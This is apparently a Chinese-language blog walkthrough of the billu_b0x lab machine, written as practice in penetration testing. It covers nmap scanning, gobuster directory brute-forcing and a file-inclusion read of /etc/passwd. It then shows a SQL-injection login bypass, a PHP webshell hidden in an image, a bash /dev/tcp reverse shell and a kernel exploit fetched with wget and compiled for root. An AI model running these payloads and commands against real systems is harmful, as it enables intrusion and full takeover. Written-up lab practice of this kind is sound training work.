1.侦查
1.1收集目标网络信息:IP地址
靶机运行在虚拟环境并且配置在192.168.1.0/24网段
nmap -sn 192.168.1.0/24

得知靶机的地址为192.168.1.134
我们可以设置一个环境变量方便后续对靶机地址的使用操作
export ip=192.168.1.134
1.2主动扫描:扫描IP地址段
nmap $ip -n -Pn -p- --reason -sV
这里是整体扫描(全端口扫描、服务扫描、版本扫描,发现22/SSH、80/HTTP),也可以使用分段扫描,先探查出有哪些端口开启然后再针对已经开启的端口进行更加精确隐蔽的扫描探查。

可知靶机开启了22端口和88端口,服务的版本信息也扫描了出来
分段扫描
nmap --min-rate 10000 -p- $ip nmap -sT -sV -O -sC -p22,80 $ip nmap -sU --min-rate 10000 -p- $ip nmap --script=vuln -p22,80 $ip
2.初始访问
2.1 利用面对公众的应用
访问80端口

这里给出了及其明显的提示,作者这里让我展示SQLI的技术,我们直接尝试SQL注入万能密码
这里针对经典恒真式(' OR '1'='1)以及其变体进行了测试但是都明显达不到要求,相比作者做了特殊的限制。

没有什么进展就继续往下走收集更多的信息
2.2 80端口目录爆破
这里使用gobuster,还可以是使用dirb等等
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.134

2.3 目录访问
另一个关键突破口,文件上传点

http://192.168.1.134/in 这是靶机站点的phpinfo


这里看到参数为空的话就给他加上一个file参数

这里Get方法没什么东西,那我们就接着试试POST方法
这里使用curl进行参数传递
curl -d "file=/etc/passwd" http://192.168.1.134/test

成功读取到了,那经测试此处确实存在一个文件包含漏洞
http://192.168.1.134/uploaded_images 下又存在目录内容泄露,后续有机会可以在此处上传shell
2.4 漏洞利用
这里使用上面那个文件包含的漏洞进行文件读取,因为我们爆破出来还有几个页面什么都没有我们可以通过源代码进行审计
curl -d "file=index.php" http://192.168.1.134/test curl -d "file=c.php" http://192.168.1.134/test curl -d "file=show.php" http://192.168.1.134/test curl -d "file=add.php" http://192.168.1.134/test curl -d "file=test.php" http://192.168.1.134/test
我们可以看到index.php代码中包含了两个文件一个是/head就是那个背景图片,另一个就是c.php,而index文件中就包含登录逻辑的源代码
$uname=str_replace('\'','',urldecode($_POST['un'])); $pass=str_replace('\'','',urldecode($_POST['ps'])); $run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
其中这一段就是最主要的,可以看到我们输入的单引号被过滤掉了,但是还是对参数进行了拼接,所以我们需要换一种方式进行注入以及进行绕过。
在账号和密码的输入框中同时输入
or 1=1 #\
然后登录就可以进行绕过。

之后就可以上传了,并且目录也是在/uploaded_images下,我们需要上传图片马
图片马制作
图片一张作为shell.png然后写一句话保存为1.asp
//一句话 <?php system($_POST['cmd']); ?> //合并 copy shell.png/b+1.asp/a 2.png //(如果是在powershell环境下需要先输入cmd进入cmd环境)
然后上传
打开我们的/uploaded_images目录

已经可以看到我们的图片马了,然后触发就可以了。
通过上面对源码的审计,我们可以利用panel.php中文件包含的load参数进行解析

这里对panel.php页面进行抓包

修改load参数,改为图片马的路径/uploaded_images/2.png,并且在后面拼接上post参数cmd=ls

命令被执行,我们直接就是一手反弹
kail上
nc -nvlp 443
反弹shell命令
echo "bash -i >& /dev/tcp/192.168.1.133/443 0>&1" | bash
直接发似乎不行,尝试URL编码一下

成功弹了过来
3.权限提升
3.1 信息收集
用户信息
cd /home/ica ls -liah
没有找到什么
suid信息
find / -perm -u=s -type f 2>/dev/null
也没看到什么可利用的
看看内核
cat /etc/*release

算是一个比较低的内核版本,直接找下exp
searchsploit ubuntu 12.04

好几个提权用的exp,我们直接下载一下看看
searchsploit -m 37292
然后开启http传到靶机上面
kali中
python -m http.server 80
靶机shell
cd /tmp wget http://192.168.1.133/37292.c //编译一下 gcc 37292.c -o 37292 ./37292
最后成功拿下

非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/billu_b0x-%e9%9d%b6%e6%9c%ba%e7%bb%83%e4%b9%a0/
共有 0 条评论